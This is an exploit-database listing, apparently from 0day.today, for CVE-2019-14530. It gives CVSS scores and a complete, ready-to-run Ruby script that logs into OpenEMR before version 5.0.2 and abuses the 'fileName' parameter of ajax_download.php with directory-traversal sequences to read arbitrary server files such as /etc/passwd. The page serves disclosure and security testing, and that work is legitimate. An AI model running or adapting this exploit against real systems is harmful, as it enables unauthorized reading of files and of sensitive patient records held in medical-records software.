Lucene search

K
zdt
Alexandre ZANNI1337DAY-ID-36507
HistoryJul 05, 2021 - 12:00 a.m.

OpenEMR 5.0.1.7 - (fileName) Path Traversal (Authenticated) Exploit (2)

2021-07-0500:00:00
Alexandre ZANNI
0day.today
56

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:S/C:P/I:N/A:N

# Title: OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) (2)
# Exploit author: noraj (Alexandre ZANNI) for SEC-IT (http://secit.fr)
# Exploit source: https://github.com/sec-it/exploit-CVE-2019-14530
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_7.tar.gz
# Docker PoC: https://github.com/sec-it/exploit-CVE-2019-14530/blob/master/docker-compose.yml
# Version: < 5.0.2 (it means up to 5.0.1.7)
# Tested on: OpenEMR Version 5.0.1
# References: https://www.exploit-db.com/exploits/50037
# CVE: CVE-2019-14530
# CWE: CWE-22
# Patch: https://github.com/openemr/openemr/pull/2592/files

#!/usr/bin/env ruby

require 'pathname'
require 'httpx'
require 'docopt'

doc = <<~DOCOPT
  OpenEMR < 5.0.2 - (Authenticated) Path Traversal - Local File Disclosure

  Source: https://github.com/sec-it/exploit-CVE-2019-14530

  Usage:
    #{__FILE__} exploit <url> <filename> <username> <password> [--debug]
    #{__FILE__} -h | --help

  Options:
    <url>       Root URL (base path) including HTTP scheme, port and root folder
    <filename>  Filename of the file to be read
    <username>  Username of the admin
    <password>  Password of the admin
    --debug     Display arguments
    -h, --help  Show this screen

  Examples:
    #{__FILE__} exploit http://example.org/openemr /etc/passwd admin pass
    #{__FILE__} exploit https://example.org:5000/ /etc/passwd admin pass
DOCOPT

def login(root_url, user, pass, http)
  vuln_url = "#{root_url}/interface/main/main_screen.php?auth=login&site=default"
  params = {
    'new_login_session_management' => '1',
    'authProvider' => 'Default',
    'authUser' => user,
    'clearPass' => pass,
    'languageChoice' => '1'
  }

  http.post(vuln_url, form: params).body.to_s
end

def exploit(root_url, filename, http)
  vuln_url = "#{root_url}/custom/ajax_download.php?fileName=../../../../../../../../../#{filename}"

  http.get(vuln_url).body.to_s
end

begin
  args = Docopt.docopt(doc)
  pp args if args['--debug']

  if args['exploit']
    http = HTTPX.plugin(:cookies).plugin(:follow_redirects)
    login(args['<url>'], args['<username>'], args['<password>'], http)
    puts exploit(args['<url>'], args['<filename>'], http)
  end
rescue Docopt::Exit => e
  puts e.message
end
How to find holes in your network?

Try incredible fast Vulners Perimeter Scanner and find vulnerabilities and unnecessary ip and ports in network devices inside your network before anyone else.

Try Network Scanner

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

4 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:S/C:P/I:N/A:N

Related for 1337DAY-ID-36507